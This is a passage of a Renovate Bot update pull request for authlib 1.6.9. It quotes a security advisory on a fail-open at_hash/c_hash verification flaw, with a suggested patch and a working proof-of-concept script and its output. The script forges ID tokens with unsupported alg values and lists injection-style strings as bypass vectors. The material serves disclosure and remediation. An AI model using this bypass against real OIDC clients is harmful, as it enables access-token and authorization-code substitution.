validation check natively contradicts this absolute requirement.
* **§ 3.3.2.11 (Authorization Code Validation):** Identically mandates
the verification of the `c_hash` Claim.
**IETF JSON Web Token (JWT) Best Current Practices (BCP)**
* **RFC 8725 § 3.1.1:** "Libraries MUST NOT trust the signature without
verifying it according to the algorithm... if validation fails, the
token MUST be rejected." Authlib's implementation effectively "trusts"
the hash when it cannot verify the algorithm.
**IETF JSON Web Signature (JWS)**
* **RFC 7515 § 5.2 (JWS Validation):** Cryptographic validations must
reject the payload if the specified parameters are unsupported. By
returning `True` for an `UnsupportedAlgorithm` state, Authlib violates
robust application security logic.
---
## 5. Remediation Recommendation
The `_verify_hash` function must be patched to enforce a `Fail-Closed`
posture. If an algorithm is unsupported and cannot produce a hash for
comparison, the validation **must** fail immediately.
**Suggested Patch (`authlib/oidc/core/claims.py`):**
```python
def _verify_hash(signature, s, alg):
hash_value = create_half_hash(s, alg)
if hash_value is None:
# FAIL-CLOSED: The algorithm is unsupported, reject the token.
return False
return hmac.compare_digest(hash_value, to_bytes(signature))
```
---
## 6. Proof of Concept (PoC)
The following standalone script mathematically demonstrates the
vulnerability across the Root Cause, Implicit Flow (`at_hash`), Hybrid
Flow (`c_hash`), and the entire attack surface. It utilizes Authlib's
own validation logic to prove the Fail-Open behavior.```bash
```bash
python3 -m venv venv
source venv/bin/activate
pip install authlib cryptography
python3 -c "import authlib; print(authlib.__version__)"
# → 1.6.8
```
```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@​title OIDC at_hash / c_hash Verification Bypass
@​affected authlib <= 1.6.8
@​file authlib/oidc/core/claims.py :: _verify_hash()
@​notice _verify_hash() retorna True cuando create_half_hash() retorna
None (alg no soportado), causando Fail-Open en la verificacion
de binding entre ID Token y Access Token / Authorization Code.
@​dev Reproduce el bypass directamente contra el codigo de authlib
sin mocks. Todas las llamadas son al modulo real instalado.
"""
import hmac
import hashlib
import base64
import time
import authlib
from authlib.common.encoding import to_bytes
from authlib.oidc.core.util import create_half_hash
from authlib.oidc.core.claims import IDToken, HybridIDToken
from authlib.oidc.core.claims import _verify_hash as authlib_verify_hash
# ─── helpers ──────────────────────────────────────────────────────────────────
R = "\033[0m"
RED = "\033[91m"
GRN = "\033[92m"
YLW = "\033[93m"
CYN = "\033[96m"
BLD = "\033[1m"
DIM = "\033[2m"
def header(title):
print(f"\n{CYN}{'─' * 64}{R}")
print(f"{BLD}{title}{R}")
print(f"{CYN}{'─' * 64}{R}")
def ok(msg): print(f" {GRN}[OK] {R}{msg}")
def fail(msg): print(f" {RED}[BYPASS] {R}{BLD}{msg}{R}")
def info(msg): print(f" {DIM} {msg}{R}")
def at_hash_correct(token: str, alg: str) -> str:
"""
@​notice Computa at_hash segun OIDC Core 1.0 s3.2.2.9.
@​param token Access token ASCII
@​param alg Algoritmo del header del ID Token
@​return str at_hash en Base64url sin padding
"""
fn = {"256": hashlib.sha256, "384": hashlib.sha384, "512": hashlib.sha512}
digest = fn.get(alg[-3:], hashlib.sha256)(token.encode()).digest()
return base64.urlsafe_b64encode(digest[:len(digest)//2]).rstrip(b"=").decode()
def _verify_hash_patched(signature: str, s: str, alg: str) -> bool:
"""
@​notice Version corregida de _verify_hash() con semantica Fail-Closed.
@​dev Fix: `if not hash_value` -> `if hash_value is None`
None es falsy en Python, pero b"" no lo es. El chequeo original
no distingue entre "algoritmo no soportado" y "hash vacio".
"""
hash_value = create_half_hash(s, alg)
if hash_value is None:
return False
return hmac.compare_digest(hash_value, to_bytes(signature))
# ─── test 1: root cause ───────────────────────────────────────────────────────
def test_root_cause():
"""
@​notice Demuestra que create_half_hash() retorna None para alg desconocido
y que _verify_hash() interpreta ese None como verificacion exitosa.
"""
header("TEST 1 - Root Cause: create_half_hash() + _verify_hash()")
token = "real_access_token_from_AS"
fake_sig = "AAAAAAAAAAAAAAAAAAAAAA"
alg = "CUSTOM_ALG"
half_hash = create_half_hash(token, alg)
info(f"create_half_hash(token, {alg!r}) -> {half_hash!r} (None = alg no soportado)")
result_vuln = authlib_verify_hash(fake_sig, token, alg)
result_patched = _verify_hash_patched(fake_sig, token, alg)
print()
if result_vuln:
fail(f"authlib _verify_hash() retorno True con firma falsa y alg={alg!r}")
else:
ok(f"authlib _verify_hash() retorno False")
if not result_patched:
ok(f"_verify_hash_patched() retorno False (fail-closed correcto)")
else:
fail(f"_verify_hash_patched() retorno True")
# ─── test 2: IDToken.validate_at_hash() bypass ────────────────────────────────
def test_at_hash_bypass():
"""
@​notice Demuestra el bypass end-to-end en IDToken.validate_at_hash().
El atacante modifica el header alg del JWT a un valor no soportado.
validate_at_hash() no levanta excepcion -> token aceptado.
@​dev Flujo real de authlib:
validate_at_hash() -> _verify_hash(at_hash, access_token, alg)
-> create_half_hash(access_token, "CUSTOM_ALG") -> None
-> `if not None` -> True -> no InvalidClaimError -> BYPASS
"""
header("TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)")
real_token = "ya29.LEGITIMATE_token_from_real_AS"
evil_token = "ya29.MALICIOUS_token_under_attacker_control"
fake_at_hash = "FAAAAAAAAAAAAAAAAAAAA"
# --- caso A: token legitimo con alg correcto ---
correct_hash = at_hash_correct(real_token, "RS256")
token_legit = IDToken(
{"iss": "https://idp.example.com", "sub": "user", "aud": "client",
"exp": int(time.time()) + 3600, "iat": int(time.time()),
"at_hash": correct_hash},
{"access_token": real_token}
)
token_legit.header = {"alg": "RS256"}
try:
token_legit.validate_at_hash()
ok(f"Caso A (legitimo, RS256): at_hash={correct_hash} -> aceptado")
except Exception as e:
fail(f"Caso A rechazo el token legitimo: {e}")
# --- caso B: token malicioso con alg forjado ---
token_forged = IDToken(
{"iss": "https://idp.example.com", "sub": "user", "aud": "client",
"exp": int(time.time()) + 3600, "iat": int(time.time()),
"at_hash": fake_at_hash},
{"access_token": evil_token}
)
token_forged.header = {"alg": "CUSTOM_ALG"}
try:
token_forged.validate_at_hash()
fail(f"Caso B (atacante, alg=CUSTOM_ALG): at_hash={fake_at_hash} -> BYPASS exitoso")
info(f"access_token del atacante aceptado: {evil_token}")
except Exception as e:
ok(f"Caso B rechazado correctamente: {e}")
# ─── test 3: HybridIDToken.validate_c_hash() bypass ──────────────────────────
def test_c_hash_bypass():
"""
@​notice Mismo bypass pero para c_hash en Hybrid Flow.
Permite Authorization Code Substitution Attack.
@​dev OIDC Core 1.0 s3.3.2.11 exige verificacion obligatoria de c_hash.
Authlib la omite cuando el alg es desconocido.
"""
header("TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)")
real_code = "SplxlOBeZQQYbYS6WxSbIA"
evil_code = "ATTACKER_FORGED_AUTH_CODE"
fake_chash = "ZZZZZZZZZZZZZZZZZZZZZZ"
token = HybridIDToken(
{"iss": "https://idp.example.com", "sub": "user", "aud": "client",
"exp": int(time.time()) + 3600, "iat": int(time.time()),
"nonce": "n123", "at_hash": "AAAA", "c_hash": fake_chash},
{"code": evil_code, "access_token": "sometoken"}
)
token.header = {"alg": "XX9999"}
try:
token.validate_c_hash()
fail(f"c_hash={fake_chash!r} aceptado con alg=XX9999 -> Authorization Code Substitution posible")
info(f"code del atacante aceptado: {evil_code}")
except Exception as e:
ok(f"Rechazado correctamente: {e}")
# ─── test 4: superficie de ataque ─────────────────────────────────────────────
def test_attack_surface():
"""
@​notice Mapea todos los valores de alg que disparan el bypass.
@​dev create_half_hash hace: getattr(hashlib, f"sha{alg[2:]}", None)
Cualquier string que no resuelva a un atributo de hashlib -> None -> bypass.
"""
header("TEST 4 - Superficie de Ataque")
token = "test_token"
fake_sig = "AAAAAAAAAAAAAAAAAAAAAA"
vectors = [
"CUSTOM_ALG", "XX9999", "none", "None", "", "RS", "SHA256",
"HS0", "EdDSA256", "PS999", "RS 256", "../../../etc", "' OR '1'='1",
]
print(f" {'alg':<22} {'half_hash':<10} resultado")
print(f" {'-'*22} {'-'*10} {'-'*20}")
for alg in vectors:
hv = create_half_hash(token, alg)
result = authlib_verify_hash(fake_sig, token, alg)
hv_str = "None" if hv is None else "bytes"
res_str = f"{RED}BYPASS{R}" if result else f"{GRN}OK{R}"
print(f" {alg!r:<22} {hv_str:<10} {res_str}")
# ─── main ─────────────────────────────────────────────────────────────────────
if __name__ == "__main__":
print(f"\n{BLD}authlib {authlib.__version__} - OIDC Hash Verification Bypass PoC{R}")
print(f"authlib/oidc/core/claims.py :: _verify_hash() \n")
test_root_cause()
test_at_hash_bypass()
test_c_hash_bypass()
test_attack_surface()
print(f"\n{DIM}Fix: `if not hash_value` -> `if hash_value is None` en _verify_hash(){R}\n")
```
---
## Output
```bash
uthlib 1.6.8 - OIDC Hash Verification Bypass PoC
authlib/oidc/core/claims.py :: _verify_hash()
────────────────────────────────────────────────────────────────
TEST 1 - Root Cause: create_half_hash() + _verify_hash()
────────────────────────────────────────────────────────────────
create_half_hash(token, 'CUSTOM_ALG') -> None (None = alg no soportado)
[BYPASS] authlib _verify_hash() retorno True con firma falsa y alg='CUSTOM_ALG'
[OK] _verify_hash_patched() retorno False (fail-closed correcto)
────────────────────────────────────────────────────────────────
TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)
────────────────────────────────────────────────────────────────
[OK] Caso A (legitimo, RS256): at_hash=gh_beqqliVkRPAXdOz2Gbw -> aceptado
[BYPASS] Caso B (atacante, alg=CUSTOM_ALG): at_hash=FAAAAAAAAAAAAAAAAAAAA -> BYPASS exitoso
access_token del atacante aceptado: ya29.MALICIOUS_token_under_attacker_control
────────────────────────────────────────────────────────────────
TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)
────────────────────────────────────────────────────────────────
[BYPASS] c_hash='ZZZZZZZZZZZZZZZZZZZZZZ' aceptado con alg=XX9999 -> Authorization Code Substitution posible
code del atacante aceptado: ATTACKER_FORGED_AUTH_CODE
────────────────────────────────────────────────────────────────
TEST 4 - Superficie de Ataque
────────────────────────────────────────────────────────────────
alg half_hash resultado
---------------------- ---------- --------------------
'CUSTOM_ALG' None BYPASS
'XX9999' None BYPASS
'none' None BYPASS
'None' None BYPASS
'' None BYPASS
'RS' None BYPASS
'SHA256' None BYPASS
'HS0' None BYPASS
'EdDSA256' None BYPASS
'PS999' None BYPASS
'RS 256' None BYPASS
'../../../etc' None BYPASS
"' OR '1'='1" None BYPASS
Fix: `if not hash_value` -> `if hash_value is None` en _verify_hash()
```
---
### Release Notes
<details>
<summary>authlib/authlib (authlib)</summary>
###
[`v1.6.9`](https://redirect.github.com/authlib/authlib/releases/tag/v1.6.9)
[Compare
Source](https://redirect.github.com/authlib/authlib/compare/v1.6.8...v1.6.9)
**Full Changelog**:
<https://github.com/authlib/authlib/compare/v1.6.8...v1.6.9>
#### Changes in `jose` module
- Not using header's `jwk` automatically
- Add `ES256K` into default jwt algorithms
- Remove deprecated algorithm from default registry
- Generate random `cek` when `cek` length doesn't match
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" in timezone UTC, Automerge - At any
time (no schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR has been generated by [Renovate
Bot](https://redirect.github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNzMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE3My4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJweXRob24iLCJyZW5vdmF0ZSJdfQ==-->
Co-authored-by: Renovate Bot <renovate@whitesourcesoftware.com>1 parent 35787d8 commit 54989a7
1 file changed
+3
-3
lines changedSome generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.
0 commit comments